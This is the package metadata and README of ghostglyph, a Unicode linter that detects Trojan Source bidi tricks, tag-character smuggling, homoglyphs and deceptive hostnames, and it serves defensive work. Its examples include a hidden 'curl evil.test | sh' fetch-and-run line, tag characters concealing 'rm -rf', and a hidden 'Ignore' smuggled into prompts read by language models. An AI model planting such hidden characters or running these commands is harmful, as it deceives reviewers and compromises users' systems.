Metadata-Version: 2.4
Name: ghostglyph
Version: 0.1.2
Summary: Linter that finds invisible and deceptive Unicode in source code, documentation, configuration and prompt files.
Author: ghostglyph contributors
License: MIT
Project-URL: Homepage, https://github.com/RealAoss/ghostglyph
Project-URL: Issues, https://github.com/RealAoss/ghostglyph/issues
Keywords: unicode,security,linter,trojan-source,homoglyph,prompt-injection
Classifier: Development Status :: 4 - Beta
Classifier: Environment :: Console
Classifier: Intended Audience :: Developers
Classifier: Operating System :: OS Independent
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3 :: Only
Classifier: Topic :: Security
Classifier: Topic :: Software Development :: Quality Assurance
Requires-Python: >=3.10
Description-Content-Type: text/markdown
License-File: LICENSE
Dynamic: license-file

# ghostglyph

A linter that finds invisible and deceptive Unicode in source code,
documentation, configuration and prompt files.

Text can contain characters that a reviewer cannot see, or that look like
other characters. A compiler, an interpreter or a language model reads them
anyway. ghostglyph reports each one with its position, its code point in
`U+XXXX` notation and a short explanation. It is read-only, has no
dependencies outside the Python standard library, and its own output is
plain ASCII, so the report cannot hide anything either.

## What it looks for

Each example is written in `U+XXXX` notation; the real attacks use the raw
characters.

- **Bidirectional controls ("Trojan Source", CVE-2021-42574).** Controls such
  as U+202E (right-to-left override) and U+2066 (left-to-right isolate)
  change the order in which text is displayed, but not the order in which a
  compiler reads it. In
  `if role != "user<U+202E> <U+2066>// admins only<U+2069> <U+2066>"`
  an editor shows the end of the string literal as if it were a comment
  after the string.
- **Tag characters ("ASCII smuggling").** U+E0020 to U+E007E mirror ASCII and
  are rendered as nothing. The sequence U+E0049 U+E0067 U+E006E U+E006F
  U+E0072 U+E0065 spells "Ignore"; appended to a sentence in a prompt or a
  README it is invisible to people and still read by a language model.
  ghostglyph decodes the hidden text and prints it.
- **Variation-selector runs.** There are 256 variation selectors, enough to
  encode one byte each. U+1F600 followed by U+E0158 U+E0159 displays as a
  single emoji and carries the bytes "hi".
- **Zero-width and invisible characters.** `pay<U+200B>pal_token` and
  `paypal_token` look identical and are different identifiers. The same
  goes for U+200C, U+200D, U+2060, U+00AD, a U+FEFF in the middle of a file,
  Hangul fillers such as U+3164, and invisible operators such as U+2062.
- **Unusual whitespace.** `rm -rf<U+00A0>/tmp/build` contains a no-break
  space, which a shell does not treat as a separator, so the option and the
  path arrive as one argument. U+2028 is a line break in some languages and
  ordinary text in others.
- **Control characters and odd code points.** `echo ok<U+001B>[8m; curl
  evil.test | sh<U+001B>[0m` uses a terminal escape sequence to conceal part
  of a line when the file is printed. Private-use code points,
  noncharacters, unassigned code points and invalid UTF-8 are reported too.
- **Homoglyphs in identifiers.** `p<U+0430>ypal` contains CYRILLIC SMALL
  LETTER A and is not the identifier `paypal`.
- **Deceptive hostnames.** `https://g<U+043E><U+043E>gle.com` mixes scripts
  inside one label. Punycode hides the same thing behind ASCII:
  - `xn--pypal-4ve.com` decodes to `p<U+0430>ypal.com` and is reported as deceptive. <!-- ghostglyph: ignore[GG070] -->
  - `xn--mnchen-3ya.example` decodes to `m<U+00FC>nchen.example` and is only shown at info level. <!-- ghostglyph: ignore[GG071] -->

Legitimate uses are left alone by default: zero-width joiners in emoji
sequences, joiners and non-joiners in Arabic, Persian and Indic text, the
three emoji subdivision flags that are built from tag characters, a byte
order mark at the start of a file, identifiers written entirely in a
non-Latin script, and no-break spaces in prose.

## Install

ghostglyph is installed from its Git repository:

```
pip install git+https://github.com/RealAoss/ghostglyph
```

It needs Python 3.10 or newer and nothing else.

## Usage

```
ghostglyph [options] [paths...]
```

With no path the current directory is scanned. Directories are scanned
recursively.

```
$ ghostglyph app.py
app.py:2:27: error GG001 bidi-unbalanced: Bidirectional control RLO is not closed before the end of the line, so the rest of the line can be displayed out of order: <U+202E RLO>
app.py:4:5: error GG060 homoglyph-identifier: Word "p<U+0430>ypal" contains Cyrillic letters that look like Latin ones; it reads "paypal": <U+0430 CYRILLIC SMALL LETTER A>
app.py:4:30: error GG010 tag-characters: 6 Unicode tag characters hide the ASCII text "rm -rf": <U+E0072 TAG LATIN SMALL LETTER R><U+E006D TAG LATIN SMALL LETTER M><U+E0020 TAG SPACE><U+E002D TAG HYPHEN-MINUS><U+E0072 TAG LATIN SMALL LETTER R><U+E0066 TAG LATIN SMALL LETTER F>
app.py:5:14: error GG030 zero-width: Zero-width character inside an identifier-like token: <U+200B ZWSP>
```

(Four of the seven lines of that run are shown.) Lines and columns are
1-based; columns count code points.

| Option | Meaning |
| --- | --- |
| `--format text\|json\|sarif\|github` | Output format. `github` prints GitHub Actions annotations. Default `text`. |
| `--severity info\|warning\|error` | Lowest severity to report and to fail on. Default `warning`. |
| `--select RULES`, `--ignore RULES` | Comma separated rule IDs, ID prefixes (`GG03`) or rule names. May be repeated. |
| `--profile auto\|code\|prose\|prompt` | Rule profile. Default `auto`, see below. |
| `--stdin`, `--stdin-filename NAME` | Scan standard input; the name is used in reports and to pick a profile. |
| `--strip-out FILE` | Write a cleaned copy of the single input to a new file. |
| `--exclude PATTERN` | Extra ignore pattern. May be repeated. |
| `--max-size BYTES` | Skip larger files. Default 2097152. |
| `--no-inline-ignore` | Do not honour suppression comments. |
| `--show-skipped` | List skipped files on standard error. |
| `--exit-zero` | Exit with status 0 even when there are findings. |
| `--explain RULE` | Describe one rule. |
| `--list-rules` | List all rules. |

Exit status: 0 when nothing at or above the threshold was found, 1 when
something was, 2 for usage errors and unreadable paths.

### Profiles

The same character can be normal in prose and suspicious in code, so every
file is scanned with one of three profiles:

- `code`: the strictest. The default for any file that is not recognised as
  prose or prompt, which includes configuration formats such as JSON, YAML
  and TOML.
- `prose`: `.md`, `.rst`, `.txt`, `.adoc`, `.tex`, `.org`, `.csv`, `.tsv`,
  translation files (`.po`, `.pot`, `.ftl`, `.strings`, `.arb`, `.xlf`,
  `.xliff`, `.resx`), subtitles, and files named `README`, `LICENSE`,
  `CHANGELOG` and similar without an extension. Typographic whitespace,
  soft hyphens, directional marks and balanced isolates are info only.
- `prompt`: `.prompt`, `.prompty`, `.mdc`, `*.prompt.md`,
  `*.instructions.md`, `CLAUDE.md`, `AGENTS.md`, `GEMINI.md`, `SKILL.md`,
  `copilot-instructions.md`, `.cursorrules`, `.windsurfrules`,
  `.clinerules`, `llms.txt`, and Markdown, text, YAML, JSON, XML and
  template files under a directory named `prompts` or `prompt`. Like prose
  for whitespace, but as strict as code for characters hidden inside words.

`--profile` overrides the choice for every file in the run.

### Ignoring files and findings

Version control directories (`.git`, `.hg`, `.svn`) and `__pycache__` are
always skipped. Files with a NUL byte in their first 8192 bytes are treated
as binary and skipped, as are files above `--max-size`.

A `.ghostglyphignore` file in the current directory, or in a directory given
on the command line, lists paths to skip. The syntax is a small subset of
gitignore:

```
# a pattern without a slash matches any path component
*.min.js
vendor/
# a pattern with a slash is matched from the scan root
docs/legacy
# a leading slash anchors a single name to the scan root
/build
```

A trailing slash restricts a pattern to directories. `*`, `?` and `[...]`
work as in Python's `fnmatch`. There is no negation. Backslashes are read
as slashes. `--exclude PATTERN` takes exactly the same syntax.

A single line can be exempted with a comment on that line:

```
label = load_icon()  # ghostglyph: ignore[GG051]
```

`ghostglyph: ignore` without a list suppresses every rule on the line. The
list takes rule IDs or rule names, separated by commas; a space before the
`[` is allowed (`ghostglyph: ignore [GG051]`). `ignore` must be a whole
word: `ghostglyph: ignored` or `ghostglyph: ignore-later` suppresses
nothing, and neither does a list without its closing `]`. Suppression comments are visible ASCII
and can be reviewed like any other change, but they can also be added by
whoever added the hidden character; `--no-inline-ignore` disables them, for
example in a periodic audit.

### Cleaning a file

```
ghostglyph suspicious.md --strip-out cleaned.md
```

writes a copy with the reported invisible characters removed and the
reported unusual whitespace replaced by a plain space (or a newline for
U+2028, U+2029 and U+0085). The output is UTF-8. ghostglyph never edits a
file in place and refuses to write to a path that already exists. Only
findings at or above `--severity` are acted on, except that invalid bytes
and lone surrogates are always dropped, because they cannot be written as
UTF-8. Homoglyphs, hostnames,
private-use and unassigned code points are not changed, because there is no
mechanical fix; they are counted in the summary line. Review the result
before using it: removing a character can change meaning.

## Rules

The severity column shows the highest severity a rule reports. Several rules
report less in the `prose` profile; `ghostglyph --explain RULE` has the
details.

| ID | Name | Severity | Reports |
| --- | --- | --- | --- |
| GG001 | bidi-unbalanced | error | Bidi embedding, override or isolate left open at the end of a line, or a closing control without an opener. |
| GG002 | bidi-control | error | Balanced bidi embedding, override or isolate. Error in code; warning or info in prose and prompt. |
| GG003 | bidi-mark | warning | U+200E, U+200F, U+061C. Info in prose and prompt. |
| GG010 | tag-characters | error | Tag characters outside the three subdivision flag sequences, with the hidden ASCII decoded. |
| GG020 | variation-selector-run | error | Two or more consecutive variation selectors, with the carried bytes decoded. Warning for runs of two or three. |
| GG021 | variation-selector-misplaced | warning | A single variation selector that does not follow a plausible base character. |
| GG030 | zero-width | warning | U+200B, U+200C, U+200D, U+2060, U+180E, and U+FEFF away from the start of the file. Error inside an identifier-like token in code and prompt. |
| GG031 | zero-width-run | error | Four or more consecutive zero-width characters. |
| GG032 | soft-hyphen | warning | U+00AD. Info in prose; error inside a token in code and prompt. |
| GG033 | invisible-filler | warning | Hangul fillers, invisible math operators, blank braille pattern, combining grapheme joiner, deprecated format characters. |
| GG040 | unusual-whitespace | warning | Whitespace other than space, tab and line endings. Error for U+2028 and U+2029 in code; info in prose and prompt. |
| GG050 | control-character | warning | C0 and C1 controls except tab, LF and CR. Form feed is info. |
| GG051 | private-use | warning | Private-use code points. |
| GG052 | noncharacter | warning | Unicode noncharacters. |
| GG053 | unassigned | warning | Code points unassigned in the Unicode version of the running Python. |
| GG054 | invalid-encoding | error | Invalid UTF-8 bytes and lone surrogates. |
| GG060 | homoglyph-identifier | error | A word mixing Latin with Cyrillic or Greek where one script's letters are all look-alikes. Warning for Greek and in prose. |
| GG061 | mixed-script-identifier | info | A word mixing those scripts without matching the look-alike table. Code profile only. |
| GG062 | compatibility-lookalike | warning | A word with fullwidth, mathematical or ligature letters that normalize to ASCII letters. Info in prose. |
| GG070 | deceptive-hostname | error | A hostname label that mixes scripts (error) or consists only of look-alike letters (warning), including decoded punycode. |
| GG071 | punycode-hostname | info | A punycode label, decoded for display. Warning if it cannot be decoded. |

## Library

```python
from ghostglyph import scan_text, scan_bytes, scan_path

for finding in scan_path("src"):
    print(finding.filename, finding.line, finding.column,
          finding.rule, finding.severity, finding.message, finding.rendering)
```

- `scan_text(text, *, filename=None, profile="auto", select=None,
  ignore=None, min_severity="warning", inline_ignore=True)` returns a list
  of `Finding`.
- `scan_bytes(data, ...)` takes the same options. It decodes UTF-8 (and
  UTF-16 or UTF-32 when a byte order mark is present) and reports invalid
  bytes as findings.
- `scan_path(path, ..., max_size=2097152)` scans a file or a directory tree
  and never writes anything.
- `strip_text(text, findings)` returns the cleaned text that `--strip-out`
  would write.

A `Finding` has `rule`, `name`, `severity`, `line`, `column`, `codepoints`
(a tuple of integers), `message`, `rendering` (for example `<U+202E RLO>`),
`filename`, and `offset` and `length` in code points. `message` and
`rendering` are always printable ASCII.

## pre-commit

```yaml
repos:
  - repo: https://github.com/RealAoss/ghostglyph
    rev: <tag-or-commit>
    hooks:
      - id: ghostglyph
```

Replace `<tag-or-commit>` with the revision you want to pin. Arguments can
be added with `args: [--severity, error]`.

## GitHub Actions

```yaml
name: ghostglyph
on: [push, pull_request]
jobs:
  ghostglyph:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v5
      - uses: actions/setup-python@v6
        with:
          python-version: "3.12"
      - run: pip install git+https://github.com/RealAoss/ghostglyph
      - run: ghostglyph --format github .
```

`--format github` prints one annotation per finding, which GitHub attaches
to the changed lines. The file name is given as it is (non-ASCII letters
included) so that the annotation finds its file; only invisible, bidi and
other suspicious characters in a file name are written as `<U+XXXX>`. `--format sarif` produces a SARIF 2.1.0 document for
tools that consume that format.

## Unicode version

All character data comes from Python's `unicodedata` module, so results
depend on the Unicode version of the interpreter that runs ghostglyph
(`ghostglyph --version` prints it). A character that was added to Unicode
after that version is reported as unassigned (GG053), and a recently added
emoji may not be recognised inside a joiner sequence.

## How well it works

Two corpora live in `bench/`; `python bench/run.py` prints the numbers.

**Development corpus** (`bench/corpus.py`), written together with the rules:
45 attack samples, the expected rule fires on all 45; 40 legitimate samples,
no finding at the default threshold. This shows the rules do what they were
designed to do and nothing more.

**Blind corpus** (`bench/blind.py`), written by someone who never saw the
code and run once: 111 samples of ordinary text - prose in Arabic, Persian,
Urdu, Hebrew, Indic scripts, Russian, Ukrainian, Greek, Chinese, Japanese,
Korean, Thai and several Latin-script languages; emoji of every structural
kind; code with non-Latin identifiers and literals; Greek letters in
scientific code; byte order marks, mixed line endings, internationalized
domain names. They contain 33 zero-width joiners, 12 zero-width non-joiners,
22 emoji presentation selectors, 24 tag characters in flag sequences and 11
ideographic variation selectors, all in legitimate positions. Findings at the
default threshold: 0 of 111.

What has not been measured: **detection on attack samples written by someone
else.** The blind corpus contains no attacks, so the detection side rests on
the development corpus and the unit tests alone. Expect misses on attack
shapes the author did not think of; the known ones are listed below.

## What it does not do

- It does not parse programming languages. It cannot tell a comment from a
  string from code, so in the `code` profile every bidi control is reported
  wherever it is. Identifier-like tokens are found by a regular expression.
- The look-alike table is a hand-written list of about sixty Cyrillic and
  Greek letters. It is not the Unicode confusables data (UTS #39). Other
  scripts with Latin look-alikes (Armenian, Cherokee and others), look-alikes
  within Latin (dotless i, Latin alpha), look-alike digits, and ASCII pairs
  such as `l` and `1` are not covered.
- An identifier written entirely in Cyrillic or Greek look-alikes is not
  reported, because it cannot be told apart from an ordinary word. The same
  spelling is reported as a warning in a hostname with an ASCII label.
- `unicodedata` has no Script or emoji properties. Scripts are derived from
  character names and emoji are recognised by block ranges, which is an
  approximation.
- Bidi balance is checked line by line with a simplified model. It is not
  an implementation of the Unicode Bidirectional Algorithm.
- Variation selectors are checked for plausibility only. Data spread out as
  one selector after each of many visible characters is not detected.
- It does not check normalization form, stacked combining marks, trailing
  whitespace, or mixed line endings.
- It finds hidden and deceptive characters. It does not judge visible text,
  so a prompt injection written in plain sight is out of scope.
- Encodings other than UTF-8, and UTF-16 or UTF-32 with a byte order mark,
  are not decoded; a legacy 8-bit file is reported as invalid UTF-8.
- Binary and oversized files are skipped, so a text file with a NUL byte
  near its start is not scanned. `--show-skipped` lists them.
- `--strip-out` is mechanical. It does not replace homoglyphs.

Known false positives: Greek letters joined directly to Latin ones in
scientific code when the Greek letter has a Latin look-alike (rho followed
by `gh` is a GG060 warning); a zero-width non-joiner used to suppress a
ligature between Latin letters (GG030); private-use icon-font characters
(GG051);
no-break spaces inside comments and strings in code files (GG040);
directional marks in right-to-left user-interface strings stored in code or
JSON files (GG003). Use a suppression comment, `--ignore`, the ignore file
or `--profile prose` for such files.

## Comparison with other approaches

Several compilers and language linters warn about bidirectional controls in
source files; each covers its own language and usually only that class of
character. Editors and code hosting sites highlight bidi controls and some
invisible characters, which helps a person who is looking at that view but
does not gate a build and does not apply to files that are never opened in
it. Generic secret scanners look for credential patterns and high-entropy
strings and are not concerned with Unicode at all. ghostglyph covers
several character classes in one pass over any text file, including tag
characters and variation-selector runs that matter for files read by
language models, and can fail a commit or a CI job. In exchange it knows
nothing about any particular language, and its homoglyph detection is
narrower than tools built on the full Unicode confusables data.

## Development

```
PYTHONPATH=src python -m unittest discover -s tests -v
python bench/run.py
```

`bench/` contains a small development corpus of attack samples and
legitimate multilingual samples. It was written alongside the rules, so its
numbers are a regression check, not an independent evaluation. See
`CONTRIBUTING.md`.

## License

MIT. See `LICENSE`.
